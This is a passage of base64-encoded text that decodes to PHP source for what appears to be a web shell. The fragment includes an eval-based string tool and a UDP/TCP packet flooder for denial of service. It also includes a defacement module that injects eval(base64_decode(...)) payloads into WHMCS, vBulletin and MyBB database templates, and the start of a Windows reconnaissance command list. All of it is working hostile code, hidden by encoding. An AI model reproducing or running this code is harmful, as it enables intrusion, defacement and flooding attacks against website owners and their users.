0ZSAoYmFzZTY0X2RlY29kZSggJHN0cmluZyApKSAtLT4gRGVjb2RlJyA9PiAnQGd6aW5mbGF0ZShfX1pHVmpiMlJsY2coJHMpKScsCidzdHJfcm90MTMgKGJhc2U2NF9lbmNvZGUoICRzdHJpbmcgKSkgLS0+IEVuY29kZScgPT4gJ3N0cl9yb3QxMyhfX1pXNWpiMlJsY2coJHMpKScsCidiYXNlNjRfZGVjb2RlIChzdHJfcm90MTMoICRzdHJpbmcgKSkgLS0+IERlY29kZScgPT4gJ19fWkdWamIyUmxjZyhzdHJfcm90MTMoJHMpKScsCidzdHJfcm90MTMgKGJhc2U2NF9lbmNvZGUoZ3pkZWZsYXRlKCAkc3RyaW5nICwgOSkpKSAtLT4gRW5jb2RlJyA9PiAnc3RyX3JvdDEzKF9fWlc1amIyUmxjZyhnemRlZmxhdGUoJHMsOSkpKScsCidnemluZmxhdGUgKGJhc2U2NF9kZWNvZGUoc3RyX3JvdDEzKCAkc3RyaW5nICkpKSAtLT4gRGVjb2RlJyA9PiAnQGd6aW5mbGF0ZShfX1pHVmpiMlJsY2coc3RyX3JvdDEzKCRzKSkpJywKKTsKYWxmYWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKZWNobyAiPGZvcm0gb25TdWJtaXQ9J2coXCJoYXNoXCIsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyc+PGRpdiBjbGFzcz0ndHh0Zm9udCc+TWV0aG9kOjwvZGl2PiA8c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnIHN0eWxlPSd3aWR0aDo0MDBweDsnPiI7CmZvcmVhY2goJHN0cmluZ1Rvb2xzIGFzICRrID0+ICR2KQplY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInICIuKCRfUE9TVFsnYWxmYTEnXT09JHY/J3NlbGVjdGVkJzonJykuIj4iLiRrLiI8L29wdGlvbj4iOwplY2hvICI8L3NlbGVjdD4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnLz48YnI+PHRleHRhcmVhICBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz0nYmlnYXJlYSc+Ii4oZW1wdHkoJF9QT1NUWydhbGZhMSddKT8nJzpodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2FsZmEyJ10pKS4iPC90ZXh0YXJlYT48L2Zvcm0+IjsKaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpewokc3RyaW5nID0gYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmEyJ10pOwokc3RyaW5nID0gc3RyX3JlcGxhY2UoJ1wiJywnIicsJHN0cmluZyk7CiRhbGcgPSAkX1BPU1RbJ2FsZmExJ107CiRjb2RlID0gc3RyX3JlcGxhY2UoJyRzJywiJyIuJHN0cmluZy4iJyIsJGFsZyk7Cm9iX3N0YXJ0KCk7CmV2YWwoJ2VjaG8gJy4kY29kZS4nOycpOwokcmVzID0gb2JfZ2V0X2NvbnRlbnRzKCk7Cm9iX2VuZF9jbGVhbigpOwppZihpbl9hcnJheSgkYWxnLCAkc3RyaW5nVG9vbHMpKWVjaG8gJzx0ZXh0YXJlYSBjbGFzcz0iYmlnYXJlYSI+Jy5odG1sc3BlY2lhbGNoYXJzKCRyZXMpLic8L3RleHRhcmVhPic7Cn0KZWNobyAiPC9kaXY+IjsKYWxmYUZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFkb3MoKXsKYWxmYWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKZWNobyAnPGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBET1MgfDwvZGl2PjwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ2Rvc1wnLG51bGwsdGhpcy5ob3N0LnZhbHVlLHRoaXMudGltZS52YWx1ZSx0aGlzLnBvcnQudmFsdWUsdGhpcy5tLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+PGRpdiBjbGFzcz0idHh0Zm9udCI+TWV0aG9kIDogPHNlbGVjdCBuYW1lPSJtIiBzdHlsZT0id2lkdGg6ODBweDsiPjxvcHRpb24gdmFsdWU9InVkcCI+VURQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idGNwIj5UQ1A8L29wdGlvbj48L3NlbGVjdD4gSG9zdCA6IDxpbnB1dCBuYW1lPSJob3N0IiB0eXBlPSJ0ZXh0IiB2YWx1ZT0ibG9jYWxob3N0IiBzaXplPSIyNSIgLz4gVGltZSA6IDxpbnB1dCBuYW1lPSJ0aW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgLz4gUG9ydCA6IDxpbnB1dCBuYW1lPSJwb3J0IiB0eXBlPSJ0ZXh0IiBzaXplPSIxMCIgLz4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIC8+PC9kaXY+PC9mb3JtPjwvY2VudGVyPjxicj4nOwppZighZW1wdHkoJF9QT1NUWydhbGZhMSddKSAmJiAhZW1wdHkoJF9QT1NUWydhbGZhMiddKSAmJiAhZW1wdHkoJF9QT1NUWydhbGZhMyddKSl7CmVjaG8gX19wcmUoKTsKJHBhY2tldHM9MDsKaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7CiRleGVjX3RpbWU9KGludCkkX1BPU1RbJ2FsZmEyJ107CiR0aW1lPXRpbWUoKTsKJG1heF90aW1lPSRleGVjX3RpbWUrJHRpbWU7CiRob3N0PSRfUE9TVFsnYWxmYTEnXTsKJHBvcnQ9KGludCkkX1BPU1RbJ2FsZmEzJ107CiRtZXRob2Q9JF9QT1NUWydhbGZhNCddOwokb3V0ID0gc3RyX3JlcGVhdCgnWCcsNjUwMDApOwp3aGlsZSgxKXsKJHBhY2tldHMrKzsKaWYodGltZSgpID4gJG1heF90aW1lKXsKYnJlYWs7Cn0KJGZwID0gQGZzb2Nrb3BlbigkbWV0aG9kLic6Ly8nLiRob3N0LCAkcG9ydCwgJGVycm5vLCAkZXJyc3RyLCA1KTsKaWYoJGZwKXsKZndyaXRlKCRmcCwgJG91dCk7CmZjbG9zZSgkZnApOwp9Cn0KZWNobyAiPGNlbnRlcj4kcGFja2V0cyAoIiAuIEByb3VuZCgoJHBhY2tldHMqNjUpLzEwMjQsIDIpIC4gIiBNQikgcGFja2V0cyBhdmVyYWdpbmcgIi4gQHJvdW5kKCRwYWNrZXRzLyRleGVjX3RpbWUsIDIpIC4gIiBwYWNrZXRzIHBlciBzZWNvbmQ8L2NlbnRlcj4iOwplY2hvICI8L3ByZT4iOwp9CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBfX3ByZSgpe3JldHVybignPHByZSBpZD0ic3RyT3V0cHV0IiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGNsYXNzPSJtbDEiPicpO30KZnVuY3Rpb24gYWxmYUluZGV4Q2hhbmdlcigpewphbGZhaGVhZCgpOwoKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBJbmRleCBDaGFuZ2VyIHw8L2Rpdj48L3A+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdJbmRleENoYW5nZXJcJyxudWxsLG51bGwsbnVsbCxcJ3dobWNzXCcpIj58IFdobWNzIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdJbmRleENoYW5nZXJcJyxudWxsLFwndmJcJyxudWxsKSI+fCB2QnVsbGV0aW4gfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ0luZGV4Q2hhbmdlclwnLG51bGwsbnVsbCxcJ215YmJcJykiPnwgTXlCQiB8IDwvYT48L2gzPjwvY2VudGVyPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTMnXSkmJigkX1BPU1RbJ2FsZmEzJ10gPT0gJ3dobWNzJykpewplY2hvIF9fcHJlKCk7CgplY2hvICI8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgV2htY3MgfDwvZGl2Pgo8cD48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgnd2htY3MnKS4iPGZvcm0gb25TdWJtaXQ9XCJnKCdJbmRleENoYW5nZXInLG51bGwsbnVsbCxudWxsLCd3aG1jcycsdGhpcy5mbmFtZS52YWx1ZSx0aGlzLnBhdGgudmFsdWUsdGhpcy5kYnUudmFsdWUsdGhpcy5kYm4udmFsdWUsdGhpcy5kYnAudmFsdWUsdGhpcy5kYmgudmFsdWUsdGhpcy5pbmRleC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIj4KIjsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywgJ2lucHV0TmFtZScgPT4gJ2RiaCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdVUkwnLCAnaW5wdXROYW1lJyA9PiAncGF0aCcsICdpbnB1dFZhbHVlJyA9PiAnaHR0cDovL3NpdGUuY29tL3dobWNzJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0ZpbGUgTmFtZScsICdpbnB1dE5hbWUnID0+ICdmbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaW5wdXROYW1lJyA9PiAnZGJuJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnZGJ1JywgJ2lkJyA9PiAnZGJfdXNlcicsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ2JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAnZGJwJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICI8YnI+PGRpdiBjbGFzcz0ndHh0Zm9udCc+fCBZb3VyIEluZGV4IHw8L2Rpdj48YnI+Cjx0ZXh0YXJlYSBuYW1lPWluZGV4IHJvd3M9JzE5JyBjb2xzPScxMDMnPjx0aXRsZT5IYWNrZWQgQnkgU29sZSBTYWQgJiBJbnZpc2libGU8L3RpdGxlPjxiPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvYj48L3RleHRhcmVhPjxicj4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPgo8L2Zvcm0+PC9jZW50ZXI+PC9jZW50ZXI+IjsKaWYoaXNzZXQoJF9QT1NUWydhbGZhNiddKSl7CiRzMGxldmlzaWJsZT0iUG93ZXJlZCBCeSBTb2xldmlzaWJsZSI7CiRkYnUgPSAkX1BPU1RbJ2FsZmE2J107CiRwYXRoID0gJF9QT1NUWydhbGZhNSddOwokZm5hbWUgPSAkX1BPU1RbJ2FsZmE0J107CiRkYm4gPSAkX1BPU1RbJ2FsZmE3J107CiRkYnAgPSAkX1BPU1RbJ2FsZmE4J107CiRkYmggPSAkX1BPU1RbJ2FsZmE5J107CiRpbmRleCA9ICRfUE9TVFsnYWxmYTEwJ107CiRpbmRleCA9IHN0cl9yZXBsYWNlKCJcJyIsIiciLCRpbmRleCk7CiRkZWZhY2UgPSAnJHggPSBiYXNlNjRfZGVjb2RlKCInLl9fWlc1amIyUmxjZygkaW5kZXgpLiciKTsgJHNvbGV2aXNpYmxlID0gZm9wZW4oIicuJGZuYW1lLiciLCJ3Iik7IGZ3cml0ZSgkc29sZXZpc2libGUsJHgpOyc7CiRzYXZlRGF0YSA9IF9fWlc1amIyUmxjZygkZGVmYWNlKTsKJERlZiA9ICd7cGhwfWV2YWwoYmFzZTY0X2RlY29kZSgiJy4kc2F2ZURhdGEuJyIpKTt7L3BocH0nOwppZighZW1wdHkoJGRiaCkmJiFlbXB0eSgkZGJ1KSYmIWVtcHR5KCRkYm4pJiYhZW1wdHkoJGluZGV4KSl7CiRjb25uPUBteXNxbGlfY29ubmVjdCgkZGJoLCRkYnUsJGRicCwkZGJuKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xlU2F2ZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgbWVzc2FnZSBmcm9tIHRibGVtYWlsdGVtcGxhdGVzIHdoZXJlIG5hbWU9J1Bhc3N3b3JkIFJlc2V0IFZhbGlkYXRpb24nIik7CiRzb2xlR2V0ID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRzb2xlU2F2ZSk7CiR0ZW1wU2F2ZTEgPSAkc29sZUdldFsnbWVzc2FnZSddOwokdGVtcFNhdmUgPSBzdHJfcmVwbGFjZSgiJyIsIlwnIiwkdGVtcFNhdmUxKTsKJGluamVjdCA9ICJVUERBVEUgdGJsZW1haWx0ZW1wbGF0ZXMgU0VUIG1lc3NhZ2U9JyREZWYnIFdIRVJFIG5hbWU9J1Bhc3N3b3JkIFJlc2V0IFZhbGlkYXRpb24nIjsKJHJlc3VsdD1AbXlzcWxpX3F1ZXJ5KCRjb25uLCRpbmplY3QpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRjcmVhdGUgPSAiaW5zZXJ0IGludG8gdGJsY2xpZW50cyAoZW1haWwpIHZhbHVlcygnc29sZXZpc2libGVAZmJpLmdvdicpIjsKJHJlc3VsdDIgPUBteXNxbGlfcXVlcnkoJGNvbm4sJGNyZWF0ZSkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSl7CiRBbGZhU29sZSA9IG5ldyBBbGZhQ1VSTCh0cnVlKTsKJHNhdmV1cmwgPSAkQWxmYVNvbGUtPlNlbmQoJHBhdGguIi9wd3Jlc2V0LnBocCIpOwokZ2V0VG9rZW4gPSBwcmVnX21hdGNoKCIvbmFtZT1cInRva2VuXCIgdmFsdWU9XCIoLio/KVwiL2kiLCRzYXZldXJsLCR0b2tlbik7CiRBbGZhU29sZS0+U2VuZCgkcGF0aC4iL3B3cmVzZXQucGhwIiwicG9zdCIsInRva2VuPXskdG9rZW5bMV19JmFjdGlvbj1yZXNldCZlbWFpbD1zb2xldmlzaWJsZUBmYmkuZ292Iik7CiRiYWNrZGF0YSA9ICJVUERBVEUgdGJsZW1haWx0ZW1wbGF0ZXMgU0VUIG1lc3NhZ2U9J3skdGVtcFNhdmV9JyBXSEVSRSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyI7CiRTb2xldmlzaWJsZSA9IG15c3FsaV9xdWVyeSgkY29ubiwkYmFja2RhdGEpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7Cl9fYWxlcnQoJ0ZpbGUgQ3JlYXRlZC4uLicpOwplY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48Y2VudGVyPjxmb250IGNvbG9yPXJlZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nIi4kcGF0aC4iLyIuJGZuYW1lLiInPkNsaWNrIEhlcmUgITwvYT48L2ZvbnQ+PC9iPjwvY2VudGVyPjxicj48YnI+IjsKfWVsc2V7CmVjaG8gIjxicj48cHJlIGlkPVwic3RyT3V0cHV0XCIgc3R5bGU9XCJtYXJnaW4tdG9wOjVweFwiIGNsYXNzPVwibWwxXCI+PGJyPjxjZW50ZXI+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+UGxlYXNlIGdvIHRvIFRhcmdldCA8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPlwiICIuJHBhdGguIi9wd3Jlc2V0LnBocCBcIjwvZm9udD48YnIvPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPiBhbmQgcmVzZXQgcGFzc3dvcmQgd2l0aCBlbWFpbDwvZm9udD4gPT4gPGZvbnQgY29sb3I9cmVkPnNvbGV2aXNpYmxlQGZiaS5nb3Y8L2ZvbnQ+PGJyLz48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5hbmQgZ28gdG88L2ZvbnQ+IDxmb250IGNvbG9yPXJlZD5cIiAiLiRwYXRoLiIvIi4kZm5hbWUuIiBcIjwvZm9udD48L2I+PC9jZW50ZXI+PGJyPjxicj4iOwp9fX19CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkgJiYgKCRfUE9TVFsnYWxmYTEnXSA9PSAndmInKSl7CmVjaG8gX19wcmUoKTsKCmVjaG8gIjxjZW50ZXI+PGNlbnRlcj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCB2QnVsbGV0aW4gfDwvZGl2Pgo8cD48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgndmInKS4iPGZvcm0gb25TdWJtaXQ9XCJnKCdJbmRleENoYW5nZXInLG51bGwsJ3ZiJyx0aGlzLmRidS52YWx1ZSx0aGlzLmRibi52YWx1ZSx0aGlzLmRicC52YWx1ZSx0aGlzLmRiaC52YWx1ZSx0aGlzLmluZGV4LnZhbHVlLHRoaXMucHJlZml4LnZhbHVlLCc+PicpOyByZXR1cm4gZmFsc2U7XCI+CiI7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpbnB1dE5hbWUnID0+ICdkYmgnLCAnaWQnID0+ICdkYl9ob3N0JywgJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDInID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgTmFtZScsICdpbnB1dE5hbWUnID0+ICdkYm4nLCAnaWQnID0+ICdkYl9uYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDMnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlcicsICdpbnB1dE5hbWUnID0+ICdkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpbnB1dE5hbWUnID0+ICdkYnAnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1ByZWZpeCcsICdpbnB1dE5hbWUnID0+ICdwcmVmaXgnLCAnaWQnID0+ICdkYl9wcmVmaXgnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICI8YnI+PGRpdiBjbGFzcz0ndHh0Zm9udCc+fCBZb3VyIEluZGV4IHw8L2Rpdj48YnI+Cjx0ZXh0YXJlYSBuYW1lPSdpbmRleCcgcm93cz0nMTknIGNvbHM9JzEwMyc+PHRpdGxlPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvdGl0bGU+PGI+SGFja2VkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlPC9iPjwvdGV4dGFyZWE+PGJyPgo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvY2VudGVyPjwvY2VudGVyPiI7CmlmKCRfUE9TVFsnYWxmYTgnXT09Jz4+Jyl7CiRzMGxldmlzaWJsZT0iUG93ZXJlZCBCeSBTb2xldmlzaWJsZSI7CiRkYnUgPSAkX1BPU1RbJ2FsZmEyJ107CiRkYm4gPSAkX1BPU1RbJ2FsZmEzJ107CiRkYnAgPSAkX1BPU1RbJ2FsZmE0J107CiRkYmggPSAkX1BPU1RbJ2FsZmE1J107CiRpbmRleCA9ICRfUE9TVFsnYWxmYTYnXTsKJHByZWZpeCA9ICRfUE9TVFsnYWxmYTcnXTsKJGluZGV4PXN0cl9yZXBsYWNlKCJcJyIsIiciLCRpbmRleCk7CiRzZXRfaW5kZXggPSAie1wke2V2YWwoYmFzZTY0X2RlY29kZShcJyI7CiRzZXRfaW5kZXggLj0gX19aVzVqYjJSbGNnKCJlY2hvIFwiJGluZGV4XCI7Iik7CiRzZXRfaW5kZXggLj0gIlwnKSl9fXtcJHtleGl0KCl9fSI7CmlmKCFlbXB0eSgkZGJoKSYmIWVtcHR5KCRkYnUpJiYhZW1wdHkoJGRibikmJiFlbXB0eSgkaW5kZXgpKXsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRkYmgsJGRidSwkZGJwLCRkYm4pIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGxvbGkxID0gIlVQREFURSAiLiRwcmVmaXguInRlbXBsYXRlIFNFVCB0ZW1wbGF0ZT0nIi4kc2V0X2luZGV4LiIiLiRzMGxldmlzaWJsZS4iJyBXSEVSRSB0aXRsZT0nc3BhY2VyX29wZW4nIjsKJGxvbGkyID0gIlVQREFURSAiLiRwcmVmaXguInRlbXBsYXRlIFNFVCB0ZW1wbGF0ZT0nIi4kc2V0X2luZGV4LiIiLiRzMGxldmlzaWJsZS4iJyBXSEVSRSB0aXRsZT0nRk9SVU1IT01FJyI7CiRsb2xpMyA9ICJVUERBVEUgIi4kcHJlZml4LiJzdHlsZSBTRVQgY3NzPSciLiRzZXRfaW5kZXguIiIuJHMwbGV2aXNpYmxlLiInLCBzdHlsZXZhcnM9JycsIGNzc2NvbG9ycz0nJywgZWRpdG9yc3R5bGVzPScnIjsKQG15c3FsaV9xdWVyeSgkY29ubiwkbG9saTEpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CkBteXNxbGlfcXVlcnkoJGNvbm4sJGxvbGkyKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwpAbXlzcWxpX3F1ZXJ5KCRjb25uLCRsb2xpMykgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsKX19hbGVydCgnVkIgaW5kZXggY2hhbmdlZC4uLiEnKTsKfQp9Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMiddKSAmJiAoJF9QT1NUWydhbGZhMiddID09ICdteWJiJykpIHsKZWNobyBfX3ByZSgpOwoKZWNobyAiPGNlbnRlcj48Y2VudGVyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IE15YmIgfDwvZGl2Pgo8cD48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgnbXliYicpLiI8Zm9ybSBvblN1Ym1pdD1cImcoJ0luZGV4Q2hhbmdlcicsbnVsbCwnbnVsbCcsJ215YmInLG51bGwsbnVsbCxudWxsLHRoaXMubXliYmRiaC52YWx1ZSx0aGlzLm15YmJkYnUudmFsdWUsdGhpcy5teWJiZGJuLnZhbHVlLHRoaXMubXliYmRicC52YWx1ZSx0aGlzLm15YmJpbmRleC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIiBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+CiI7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnTXlzcWwgSG9zdCcsICdpbnB1dE5hbWUnID0+ICdteWJiZGJoJywgJ2lkJyA9PiAnZGJfaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaW5wdXROYW1lJyA9PiAnbXliYmRibicsICdpZCcgPT4gJ2RiX25hbWUnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ215YmJkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpbnB1dE5hbWUnID0+ICdteWJiZGJwJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICI8YnI+PGRpdiBjbGFzcz0ndHh0Zm9udCc+fCBZb3VyIEluZGV4IHw8L2Rpdj48YnI+Cjx0ZXh0YXJlYSBuYW1lPW15YmJpbmRleCByb3dzPScxOScgY29scz0nMTAzJz4KPHRpdGxlPkhhY2tlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZTwvdGl0bGU+PGI+SGFja2VkIEJ5IFNvbGUgU2FkICYgSW52aXNpYmxlPC9iPjwvdGV4dGFyZWE+PHA+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JycgPjwvcD48L2Zvcm0+PC9jZW50ZXI+PC9jZW50ZXI+IjsKaWYoaXNzZXQoJF9QT1NUWydhbGZhNiddKSl7CiRteWJiX2RiaCA9ICRfUE9TVFsnYWxmYTYnXTsKJG15YmJfZGJ1ID0gJF9QT1NUWydhbGZhNyddOwokbXliYl9kYm4gPSAkX1BPU1RbJ2FsZmE4J107CiRteWJiX2RicCA9ICRfUE9TVFsnYWxmYTknXTsKJG15YmJfaW5kZXggPSAkX1BPU1RbJ2FsZmExMCddOwppZighZW1wdHkoJG15YmJfZGJoKSYmIWVtcHR5KCRteWJiX2RidSkmJiFlbXB0eSgkbXliYl9kYm4pJiYhZW1wdHkoJG15YmJfaW5kZXgpKXsKJGNvbm49QG15c3FsaV9jb25uZWN0KCRteWJiX2RiaCwkbXliYl9kYnUsJG15YmJfZGJwLCRteWJiX2Ribikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokcHJlZml4PSJteWJiXyI7CiRsb2xpNyA9ICJVUERBVEUgIi4kcHJlZml4LiJ0ZW1wbGF0ZXMgU0VUIHRlbXBsYXRlPSciLiRteWJiX2luZGV4LiInIFdIRVJFIHRpdGxlPSdpbmRleCciOwokcmVzdWx0ID1AbXlzcWxpX3F1ZXJ5KCRjb25uLCRsb2xpNykgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsKX19hbGVydCgnTXlCQiBpbmRleCBjaGFuZ2VkLi4uIScpOwp9Cn0KfQplY2hvICI8L2Rpdj4iOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYXByb2MoKQp7CmFsZmFoZWFkKCk7CmVjaG8gIjxEaXYgY2xhc3M9aGVhZGVyPjxicj48Y2VudGVyPiI7CmlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpCiRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsKaWYoJEdMT0JBTFNbJ3N5cyddPT0id2luIil7CiRwcm9jZXNzPWFycmF5KAoiVGFzayBMaXN0IiA9PiJ0YXNrbGlzdCAvViIsCiJTeXN0ZW0gSW5mbyIgPT4ic3lzdGVtaW5mbyIsCiJBY3RpdmUgQ29ubmVjdGlvbnMiID0+ICJuZXRzdGF0IC1hbiIsCiJSdW5uaW5nIFNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwKIlVzZXIgQWNjb3VudHMiID0+ICJuZXQgdXNlciIsCiJTaG93IEN